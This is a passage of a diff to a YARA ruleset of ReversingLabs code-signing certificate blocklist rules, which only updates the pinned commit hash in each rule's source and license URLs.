+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8b83e4aa47cea7cadf4b4a9f4e044478a62f4233e082fb52f9ed906d80a552aa"
 		score = 75
 		quality = 90
@@ -2281,8 +2334,8 @@ rule REVERSINGLABS_Cert_Blocklist_1A3Faaeb3A8B93B2394Fec36345996E6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L657-L673"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L657-L673"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a3bd9aaba8dbdb340b5d3013684584524eb08b11339985ba6ca0291b8c8bc692"
 		score = 75
 		quality = 90
@@ -2306,8 +2359,8 @@ rule REVERSINGLABS_Cert_Blocklist_1A35Acce5B0C77206B1C3Dc2A6A2417C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L675-L691"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L675-L691"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ce161fdd511e0efa042516ead09c6ab5f8dcf54f2087cdccbfed8e7cdfbd25b2"
 		score = 75
 		quality = 90
@@ -2331,8 +2384,8 @@ rule REVERSINGLABS_Cert_Blocklist_6Eb40Ea11Eaac847B050De9B59E25Bdc : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L693-L709"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L693-L709"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d0e7ab78fb42c9a8f19cba8e6a8b15d584651a23f1088e1f311589d46145e963"
 		score = 75
 		quality = 90
@@ -2356,8 +2409,8 @@ rule REVERSINGLABS_Cert_Blocklist_6724340Ddbc7252F7Fb714B812A5C04D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L711-L727"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L711-L727"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "bc72c2ca5f81198684233e23260831da5b9ef4e7ac5a25abbdb303eecc38bd53"
 		score = 75
 		quality = 90
@@ -2381,8 +2434,8 @@ rule REVERSINGLABS_Cert_Blocklist_0813Ee9B7B9D7C46001D6Bc8784Df1Dd : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L729-L745"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L729-L745"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1a25a2f25fa8d5075113cbafb73e80e741268d6b2f9e629fd54ffca9e82409b0"
 		score = 75
 		quality = 90
@@ -2406,8 +2459,8 @@ rule REVERSINGLABS_Cert_Blocklist_530591C61B5E1212F659138B7Cea0A97 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L747-L763"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L747-L763"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0ef01e542d145475713bbd373bdcdae5f25bfd823a60e7d40fe9a6b6039c83e0"
 		score = 75
 		quality = 90
@@ -2431,8 +2484,8 @@ rule REVERSINGLABS_Cert_Blocklist_07270Ff9 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L765-L781"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L765-L781"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8f0da7c330464184fa1d5bf8d51dd8ad2e8637710a36972dcab03629cb57e910"
 		score = 75
 		quality = 90
@@ -2456,8 +2509,8 @@ rule REVERSINGLABS_Cert_Blocklist_0727100D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L783-L799"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L783-L799"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a09f4004ed002b90d67a3baddde74832e6c7b70e8b330347ef169460750aa344"
 		score = 75
 		quality = 90
@@ -2481,8 +2534,8 @@ rule REVERSINGLABS_Cert_Blocklist_07271003 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L801-L817"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L801-L817"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "14c201b4fdda5b3553732a173a3d6705129c54f2a50d26997d63a77be8504285"
 		score = 75
 		quality = 90
@@ -2506,8 +2559,8 @@ rule REVERSINGLABS_Cert_Blocklist_013134Bf : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L819-L835"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L819-L835"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1ade100c310c22bce25bcc6687855bd4eb6364b64cf31514b2548509a16e4a36"
 		score = 75
 		quality = 90
@@ -2531,8 +2584,8 @@ rule REVERSINGLABS_Cert_Blocklist_01314476 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L837-L853"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L837-L853"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6f2f3f3ae009fbb9ebe589fc6b640be89c4a7b734eda515f182c7e9c9ffb4779"
 		score = 75
 		quality = 90
@@ -2556,8 +2609,8 @@ rule REVERSINGLABS_Cert_Blocklist_013169B0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L855-L871"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L855-L871"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "354421ebad7fd0b73c9ba63630c91d481901ca9ec39be3c6b66843221e4b5aad"
 		score = 75
 		quality = 90
@@ -2581,8 +2634,8 @@ rule REVERSINGLABS_Cert_Blocklist_0C76Da9C910C4E2C9Efe15D058933C4C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L873-L889"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L873-L889"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "883e93bff42161ba68f69fb17f7e78377d7f3cb6b6cdf72cffb4166466f8bc7b"
 		score = 75
 		quality = 90
@@ -2606,8 +2659,8 @@ rule REVERSINGLABS_Cert_Blocklist_469C2Caf : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L891-L907"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L891-L907"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2490dbd74a5d3eede494d284f96af835c270d2fb0752b887aadbaf92bf34e6d4"
 		score = 75
 		quality = 90
@@ -2631,8 +2684,8 @@ rule REVERSINGLABS_Cert_Blocklist_469C3Cc9 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L909-L925"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L909-L925"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7327b7cbeb616bc46c82975aed6b3ea1caafa74fd431e2d98ca55b00851e22c8"
 		score = 75
 		quality = 90
@@ -2656,8 +2709,8 @@ rule REVERSINGLABS_Cert_Blocklist_0A82Bd1E144E8814D75B1A5527Bebf3E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L927-L943"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L927-L943"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2534e58ce1e5adbb10dbacb664d40cc32faec341bdb93b926cc85b666cc7b77e"
 		score = 75
 		quality = 90
@@ -2681,8 +2734,8 @@ rule REVERSINGLABS_Cert_Blocklist_469C2Cb0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L945-L961"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L945-L961"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "67ff84475cbe231f97daa3ce623689e7936db8e56be562778f8a4c1ebf7bf316"
 		score = 75
 		quality = 90
@@ -2706,8 +2759,8 @@ rule REVERSINGLABS_Cert_Blocklist_4C0E636A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L963-L979"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L963-L979"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "20169cf9ce3f271a22d1376bcf0ff0914f43937738c9ed61fd8e40179405136b"
 		score = 75
 		quality = 90
@@ -2731,8 +2784,8 @@ rule REVERSINGLABS_Cert_Blocklist_072714A9 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L981-L997"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L981-L997"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8bea4cfb60056446043ef90a7d01ecc52d82d9e7005a145a4daa61a522ecd2ae"
 		score = 75
 		quality = 90
@@ -2756,8 +2809,8 @@ rule REVERSINGLABS_Cert_Blocklist_00D8F35F4Eb7872B2Dab0692E315382Fb0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L999-L1017"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L999-L1017"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "463757c59c32859163ea80e694e1f39239c857124aad3895f22f83b47645910c"
 		score = 75
 		quality = 90
@@ -2781,8 +2834,8 @@ rule REVERSINGLABS_Cert_Blocklist_750E40Ff97F047Edf556C7084Eb1Abfd : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1019-L1035"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1019-L1035"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "21c2468905514e1725a206814b0c61c576cf7f97f184bac857bca9283f49a957"
 		score = 75
 		quality = 90
@@ -2806,8 +2859,8 @@ rule REVERSINGLABS_Cert_Blocklist_1B5190F73724399C9254Cd424637996A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1037-L1053"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1037-L1053"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "08f287ccda93e03a7e796d5625ab35ef0de782d07e5db4e2264f612fc5ebaa21"
 		score = 75
 		quality = 90
@@ -2831,8 +2884,8 @@ rule REVERSINGLABS_Cert_Blocklist_00Ebaa11D62E2481081820 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1055-L1072"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1055-L1072"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2fafc6775ec88b5a1000afbc7234fbef6b03e9eaf866dae660dd2d749996cb5c"
 		score = 75
 		quality = 90
@@ -2856,8 +2909,8 @@ rule REVERSINGLABS_Cert_Blocklist_3Aab11Dee52F1B19D056 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1074-L1089"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1074-L1089"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1f1215143dc828596e6d7eeff99983755b17eaeb3ab9d7643abdbb48e9957c78"
 		score = 75
 		quality = 90
@@ -2881,8 +2934,8 @@ rule REVERSINGLABS_Cert_Blocklist_6102B01900000000002F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1091-L1106"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1091-L1106"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6c42daa8b8730541bb422ac860ec4b0830e00fdb732e4bb503054dbcae1ff6d4"
 		score = 75
 		quality = 90
@@ -2906,8 +2959,8 @@ rule REVERSINGLABS_Cert_Blocklist_01E2B4F759811C64379Fca0Be76D2Dce : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1108-L1124"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1108-L1124"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0dff7a9f2e152c20427ea231449b942a040e964cb7dad90271d2865290535326"
 		score = 75
 		quality = 90
@@ -2931,8 +2984,8 @@ rule REVERSINGLABS_Cert_Blocklist_03E5A010B05C9287F823C2585F547B80 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1126-L1142"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1126-L1142"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1d57b640ee313ad4d53dc64ce4df3e4ed57976e7750cfd80d62bf9982d964d26"
 		score = 75
 		quality = 90
@@ -2956,8 +3009,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Fe7Df6C4B9A33B83D04E23E98A77Cce : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1144-L1160"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1144-L1160"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "da5ed07def8d0c04ea58aacd90f9fa5588f868f6d0057b9148587f2f0b381f25"
 		score = 75
 		quality = 90
@@ -2981,8 +3034,8 @@ rule REVERSINGLABS_Cert_Blocklist_065569A3E261409128A40Affa90D6D10 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1162-L1178"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1162-L1178"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f8d68758704e41325e95ec69334aaf7fabe08a6d5557e0a81bac2f02d3ab5977"
 		score = 75
 		quality = 90
@@ -3006,8 +3059,8 @@ rule REVERSINGLABS_Cert_Blocklist_0979616733E062C544Df0Abd315E3B92 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1180-L1196"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1180-L1196"
